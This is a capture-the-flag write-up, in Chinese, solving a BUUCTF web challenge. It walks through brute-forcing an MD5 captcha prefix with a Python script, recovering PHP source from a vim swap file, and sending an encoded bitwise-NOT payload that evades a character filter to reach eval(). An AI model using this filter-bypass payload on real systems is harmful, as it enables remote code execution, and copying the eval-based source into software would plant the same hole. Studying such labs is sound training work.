136,【3】 buuctf web [极客大挑战 2020]Roamphp4-Rceme
进入靶场
if:substr(md5($code),0,5)==4a94f
对 $code 进行 MD5 哈希运算,然后取结果的前 5 个字符
判断取出来的前 5 个字符是否等于 "4a94f"
import hashlib
import itertools
import string
# 目标 MD5 哈希值的前 5 个字符
target = "4a94f"
# 定义字符集,这里包含所有小写字母、大写字母和数字
charset = string.ascii_letters + string.digits
# 从较短的字符串长度开始尝试
for length in range(1, 10):
# 生成所有可能的字符组合
for combination in itertools.product(charset, repeat=length):
test_string = ''.join(combination)
# 计算字符串的 MD5 哈希值
md5_hash = hashlib.md5(test_string.encode()).hexdigest()
# 截取 MD5 哈希值的前 5 个字符
md5_prefix = md5_hash[:5]
# 检查是否匹配目标值
if md5_prefix == target:
print(f"找到匹配的 code 值: {test_string}")
break
else:
# 如果内层循环没有被 break 中断,则继续尝试更长的字符串
continue
# 如果内层循环被 break 中断,说明已经找到匹配值,跳出外层循环
break
else:
print("未找到匹配的 code 值。")
JWl
看看源代码
找到一张图片
扫描后是
EGG{a_6ea4t1441_e99_in_QR_c0de}
去抓包
vim swp
三次都尝试之后,我才反应过来,我输的是文件的格式.........
带个文件名看看
找到一个
点开看看
先去官网下载能打开这个文件的软件
下载好后在cmd输入命令
vim -r /path/to/your/file.swp
/path/to/your/file.swp
替换为你实际的 .swp
文件路径
恢复后的内容就会写入到这个文件中
<?php
// 设置错误报告级别为 0,即不显示任何 PHP 错误信息,避免泄露敏感信息
error_reporting(0);
// 启动会话,用于存储和管理用户的会话数据
session_start();
// 检查会话中是否已经设置了 'code' 变量
if(!isset($_SESSION['code'])){
// 如果会话中未设置 'code' 变量,则生成一个新的验证码
// 生成两个随机数,分别进行 sha1 和 md5 哈希处理,然后拼接结果
// 最后截取拼接后字符串的前 5 个字符作为验证码
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
// 以上步骤获得验证数字
}
// 检查是否通过 POST 方法传递了 'cmd' 和 'code' 参数
if(isset($_POST['cmd']) and isset($_POST['code'])){
// 对用户通过 POST 方法提交的 'code' 参数进行 md5 哈希处理,并截取前 5 个字符
// 检查该结果是否与会话中存储的验证码不相等
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
// 如果不相等,说明验证码输入错误
// 使用 JavaScript 的 alert 函数弹出提示框,提示用户验证码错误
// 然后使用 history.back() 方法让用户返回上一页
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
// 如果验证码验证通过,生成一个新的验证码并更新会话中的 'code' 变量
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
// 将用户通过 POST 方法提交的 'cmd' 参数赋值给变量 $code
$code = $_POST['cmd'];
// 检查 $code 的长度是否超过 70 个字符,或者是否包含指定的字符
// 使用 preg_match 函数进行正则表达式匹配,检查是否包含字母、数字、各种符号等
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
// 如果满足上述条件之一,说明输入不符合要求
// 使用 JavaScript 的 alert 函数弹出提示框,提示用户输入不被允许
// 然后使用 history.back() 方法让用户返回上一页
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}
// 使用 preg_replace 函数对 $code 进行处理,移除所有函数调用
// 然后检查处理后的结果是否等于 ';'
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
// 如果满足条件,则使用 eval 函数执行 $code 中的代码
// @ 符号用于抑制可能出现的错误信息
@eval($code);
// 执行完代码后终止脚本执行
die();
}
}
要通过post方式
再抓包
[极客大挑战 2020]Roamphp 1、2、4_[极客大挑战 2020]rceme-CSDN博客
cmd
= '[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));'
raw_data
= f'code={code}&cmd={cmd}'
code=916558
传递即可